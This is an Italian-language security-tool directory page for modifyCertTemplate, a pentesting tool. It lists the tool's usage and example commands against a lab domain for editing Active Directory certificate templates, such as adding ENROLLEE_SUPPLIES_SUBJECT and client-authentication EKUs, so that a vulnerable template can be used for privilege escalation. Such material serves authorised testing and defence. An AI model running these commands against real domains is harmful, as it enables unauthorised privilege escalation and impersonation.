Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/fortalice/modifycerttemplate
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitAudit di ConfigurazionePenetration TestingAutenticazione
GitHubfortalice/modifycerttemplate

modifyCertTemplate

Modifica dei modelli di certificato ADCS ed enumerazione ACL

Vedi Repository
145133 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Scopo

Questo strumento è progettato per assistere un operatore nella modifica dei modelli di certificato ADCS in modo che uno stato vulnerabile creato possa essere sfruttato per l'escalation dei privilegi (e quindi ripristinare il modello allo stato precedente in seguito). È specificamente progettato per uno scenario in cui i diritti WriteProperty su un modello sono stati compromessi, ma l'operatore non è sicuro a quali proprietà si applichi il diritto. In questo scenario, l'ACL del modello può essere interrogata e le informazioni sugli ACE applicabili possono essere incrociate con i GUID delle proprietà per determinare le proprietà modificabili.

Post del blog associato.

Utilizzo

root@kitploit:~
usage: modifyCertTemplate.py [-h] -template template name [-property property name] [-value new value] [-get-acl] [-dn distinguished name] [-raw] [-add flag name] [-debug]
                             [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-ldaps]
                             target

Modify the attributes of an Active Directory certificate template

positional arguments:
  target                [[domain/]username[:password]

optional arguments:
  -h, --help            show this help message and exit
  -template template name
                        Name of the target certificate template
  -property property name
                        Name of the target template property
  -value new value      Value to set the specified template property to
  -get-acl              Print the certificate's ACEs
  -dn distinguished name
                        Explicitly set the distinguished name of the certificate template
  -raw                  Output the raw certificate template attributes
  -add flag name        Add a flag to an attribute, maintaining the existing flags
  -debug                Turn DEBUG output ON

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will
                        use the ones specified in the command line
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256 bits)

connection:
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -ldaps                Use LDAPS instead of LDAP

Esempi

Interrogare un Modello o un Valore di Proprietà

Interroga un modello di certificato (tutti gli attributi)

root@kitploit:~
python3 modifyCertTemplate.py -template KerberosAuthentication ez.lab/administrator:pass

Interroga un singolo attributo da un modello di certificato

root@kitploit:~
python3 modifyCertTemplate.py -template KerberosAuthentication -property msPKI-Certificate-Name-Flag ez.lab/administrator:pass

Interroga i valori grezzi di tutti gli attributi del modello

root@kitploit:~
python3 modifyCertTemplate.py -template KerberosAuthentication -raw ez.lab/administrator:pass

Interrogare le Informazioni ACL

Interroga l'ACL per un modello di certificato

root@kitploit:~
python3 modifyCertTemplate.py -template KerberosAuthentication -get-acl ez.lab/administrator:pass

Sebbene non correlato ai modelli di certificato, l'ACL di qualsiasi oggetto può essere interrogata fornendo il nome distinto dell'oggetto

root@kitploit:~
python3 modifyCertTemplate.py -dn "CN=ws1,CN=computers,DC=ez,DC=lab" -get-acl ez.lab/administrator:pass

Modificare un Modello

Aggiungi il flag ENROLLEE_SUPPLIES_SUBJECT alla proprietà msPKI-Certificate-Name-Flag del modello

root@kitploit:~
python3 modifyCertTemplate.py -template KerberosAuthentication -add enrollee_supplies_subject -property msPKI-Certificate-Name-Flag ez.lab/administrator:pass 

Aggiorna il valore di un attributo del modello di certificato (proprietà non elenco)

root@kitploit:~
python3 modifyCertTemplate.py -template KerberosAuthentication -property msPKI-Certificate-Name-Flag -value -150994944 ez.lab/administrator:pass

Aggiungi un EKU alla proprietà pKIExtendedKeyUsage

root@kitploit:~
python3 modifyCertTemplate.py -template KerberosAuthentication -add "client authentication" -property pKIExtendedKeyUsage ez.lab/administrator:pass 

Aggiorna il valore di un attributo formattato come elenco (ad es. imposta esplicitamente il valore di pKIExtendedKeyUsage)

root@kitploit:~
python3 modifyCertTemplate.py -template KerberosAuthentication -value "'1.3.6.1.5.5.7.3.4', '1.3.6.1.5.5.7.3.2'" -property pKIExtendedKeyUsage ez.lab/administrator:pass 

Riferimenti, Crediti e Altri Progetti da Vedere!

  • PyWhisker
  • Certi
  • StandIn
Scarica lo strumento